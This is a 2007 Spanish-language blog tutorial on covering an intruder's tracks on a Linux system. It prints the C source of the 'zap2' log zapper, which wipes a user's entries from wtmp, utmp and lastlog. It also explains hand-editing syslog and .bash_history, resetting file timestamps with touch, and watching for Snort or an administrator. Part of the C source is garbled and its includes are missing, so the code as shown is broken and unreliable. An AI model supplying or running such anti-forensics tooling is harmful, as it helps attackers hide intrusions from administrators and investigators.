sábado, noviembre 24, 2007

Borrando logs.

Una vez más estamos reunidos aquí para aprender alguna cosilla interesante acerca de Linux, esta vez nos centraremos en los logs del sistema.

LOGS:

----TXT-----
/var/log/messages => Info dsps, sistemas de ficheros
/var/log/syslog => Info general

----BIN-----
lastlog --> /var/log/lastlog => Info última sesión de cada usuario
last --> /var/log/wtmp => Info conexiones al servidor
lastb --> /var/log/btmp => Info intentos de log fallidos
who --> /var/run/utmp => Usuarios conectados en este momento

En cuanto entremos en el sistema debemos de hacer: ls -la /home/"nombre_usuario"/.bash_history, esto lo hacemos para poder poner la fecha de cuando entramos en el sistema al fichero /home/"nombre_usuario"/.bash_history en cuanto salgamos.

Y ahora el momento más divertido, a llegado la hora de usar un zapper(dícese del programa que se encarga de eliminar nuestras huellas), yo voy a usar zap2 pero hay algunos más por internet.
Este zapper nos borrará las entradas de: /var/log/wtmp, /var/log/utmp, /var/log/lastlog.
Para que funcione correctamente deberemos de editar el código fuente para definir donde se encuentran dichos ficheros, recordad que según la distribución o si el administrador a cambiado el lugar donde se deben de guardar los logs los ficheros que necesitamos modificar estarán en diferentes localizaciones.

#define WTMP_NAME "/var/log/wtmp"
#define UTMP_NAME "/var/log/utmp"
#define LASTLOG_NAME "/var/log/lastlog"

Con estas rutas estaría configurado para sistemas Debian sin que el administrador haya modificado nada.
El código del zapper en sí es el siguiente:

#include
#include
#include
#include
#include
#include
#include
#include
//#define WTMP_NAME "/usr/adm/wtmp"
//#define UTMP_NAME "/var/run/utmp"
//#define LASTLOG_NAME "/usr/adm/lastlog"
#define WTMP_NAME "/var/log/wtmp"
#define UTMP_NAME "/var/log/utmp"
#define LASTLOG_NAME "/var/log/lastlog"


int f;

void kill_utmp(who)
char *who;
{
struct utmp utmp_ent;

if ((f=open(UTMP_NAME,O_RDWR))>=0) {
while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof( utmp_ent ));
lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
write (f, &utmp_ent, sizeof (utmp_ent));
}
close(f);
}
}

void kill_wtmp(who)
char *who;
{
struct utmp utmp_ent;
long pos;

pos = 1L;
if ((f=open(WTMP_NAME,O_RDWR))>=0) {

while(pos != -1L) {
lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
if (read (f, &utmp_ent, sizeof (struct utmp))<0) pos =" -1L;" pos =" -1L;" pwd="getpwnam(who))!=" f="open(LASTLOG_NAME,">= 0) {
lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
bzero((char *)&newll,sizeof( newll ));
write(f, (char *)&newll, sizeof( newll ));
close(f);
}

} else printf("%s: ?\n",who);
}

main(argc,argv)
int argc;
char *argv[];
{
if (argc==2) {
kill_lastlog(argv[1]);
kill_wtmp(argv[1]);
kill_utmp(argv[1]);
printf("Zap2!\n");
} else
printf("Error.\n");
}

Como siempre lo compilamos: gcc zapper.c -o zapper
Ahora sólo queda ejecutarlo: ./zapper "nombre_usuario"
Con esto hemos conseguido borrar el rastro de "nombre_usuario" de los fichero /var/log/wtmp, /var/log/utmp, /var/log/lastlog y por lo tanto se modificaran las listas de:
  • who no apareceremos
  • last no aparecerá la última entrada en el sistema efectuada
  • lastlog -u "nombre_usuario" aparecerá como que no se a logeado nunca(esto puede levantar sospechas si es un usuario activo y no una cuenta de algún demonio)

Recordemos editar "a mano" el fichero /var/log/syslog para eliminar posibles entradas que nos delaten y también habrá que hacer un touch de syslog con la fecha de la última entrada:
touch "mesdiahoraminuto" /var/log/syslog

Además no olvideis editar el fichero /home/"nombre_usuario"/.bash_history, aquí es donde se guarda el historial de los comandos escritos, yo recomiendo emplear csh que no guarda logs y eliminar el rastro de la invocación del fichero comentado anteriormente.
También será necesario:
touch "mesdiahoraminuto" /home/"nombre_usuario"/.bash_history

Recordad mirar si existe algún demonio que pueda hacer algún tipo de registro que os delate como puede ser Snort, NFS, algún tipo de software que haga una copia remota de los logs...., para ello se pueden emplear comandos como ps aux, top.
También es de vital importancia mirar quien está logeado en el sistema por si el administrador andase cerca, para esto emplear comandos como who, users, w

Bueno creo que con esta ya estamos listos, si alguien encuentra algún fallo en este tutorial agradecería que postease algún comentario comentando el fallo y si es posible alguna solución, que lo disfrutéis.

No hay comentarios: